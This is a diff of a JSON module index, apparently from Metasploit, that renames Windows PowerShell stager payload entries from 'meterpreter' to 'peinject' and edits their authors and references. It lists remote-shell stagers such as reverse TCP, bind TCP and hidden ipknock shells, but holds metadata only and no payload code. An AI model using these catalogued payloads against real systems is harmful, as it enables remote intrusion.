"URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181729,7 +191205,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181738,9 +191214,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { + "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -181749,15 +191225,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm " + "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181768,7 +191244,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -181777,9 +191253,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { + "payload_cmd/windows/powershell/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", + "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", "aliases": [ ], @@ -181788,15 +191264,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", + "ege ", "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181807,7 +191280,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_named_pipe", + "ref_name": "cmd/windows/powershell/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -181816,9 +191289,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { + "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", "aliases": [ ], @@ -181827,15 +191300,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", + "ege ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181846,7 +191316,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181855,9 +191325,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp": { + "payload_cmd/windows/powershell/peinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", "aliases": [ ], @@ -181866,15 +191336,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "hdm " + "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181885,7 +191354,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -181894,9 +191363,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { + "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", "aliases": [ ], @@ -181905,17 +191374,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181926,7 +191394,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -181935,9 +191403,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { + "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", "aliases": [ ], @@ -181946,15 +191414,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "hdm ", + "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181965,7 +191431,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -181974,9 +191440,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/find_tag": { + "payload_cmd/windows/powershell/peinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", + "fullname": "payload/cmd/windows/powershell/peinject/find_tag", "aliases": [ ], @@ -181985,14 +191451,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves" + "ege ", + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182003,7 +191467,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/find_tag", + "ref_name": "cmd/windows/powershell/peinject/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -182012,9 +191476,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http", + "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", "aliases": [ ], @@ -182023,17 +191487,14 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", - "scriptjunkie ", - "bannedit ", - "hdm " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182044,7 +191505,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http", + "ref_name": "cmd/windows/powershell/peinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182053,9 +191514,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", + "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { + "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", "aliases": [ ], @@ -182064,15 +191525,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182083,7 +191541,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_http", + "ref_name": "cmd/windows/powershell/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -182092,9 +191550,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", "aliases": [ ], @@ -182103,15 +191561,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182122,7 +191577,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/peinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182131,9 +191586,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_https": { - "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", + "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", "aliases": [ ], @@ -182142,15 +191597,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "ege ", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182161,7 +191613,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_https", + "ref_name": "cmd/windows/powershell/peinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182170,9 +191622,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { - "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy", + "payload_cmd/windows/powershell/peinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", "aliases": [ ], @@ -182181,17 +191633,52 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", - "sf ", - "OJ Reeves", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "ege ", "hdm ", - "corelanc0d3r ", - "amaloteaux " + "skape ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182202,7 +191689,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, @@ -182211,9 +191698,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", "aliases": [ ], @@ -182222,15 +191709,15 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "hdm " + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182241,7 +191728,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -182250,9 +191737,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { - "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", + "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -182261,14 +191748,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves" + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182279,18 +191768,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_named_pipe", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -182299,15 +191788,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "ege ", + "hdm ", "skape ", "sf ", - "OJ Reeves", - "vlad902 " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182318,7 +191808,44 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "ege ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -182327,9 +191854,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "payload_cmd/windows/powershell/pingback_bind_tcp": { + "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", "aliases": [ ], @@ -182338,15 +191865,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "spoonm " + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182357,7 +191880,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182366,9 +191889,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", + "payload_cmd/windows/powershell/pingback_reverse_tcp": { + "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", "aliases": [ ], @@ -182377,15 +191900,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182396,7 +191915,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/powershell/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182405,9 +191924,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "payload_cmd/windows/powershell/powershell_bind_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", "aliases": [ ], @@ -182416,15 +191935,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm " + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182435,7 +191953,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182444,9 +191962,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "payload_cmd/windows/powershell/powershell_reverse_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", "aliases": [ ], @@ -182455,16 +191973,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182475,7 +191991,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182484,9 +192000,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -182495,17 +192011,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -182516,18 +192029,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/powershell_reverse_tcp_ssl", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -182536,17 +192049,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", "hdm ", - "mihi", - "RageLtMan" + "skape ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - 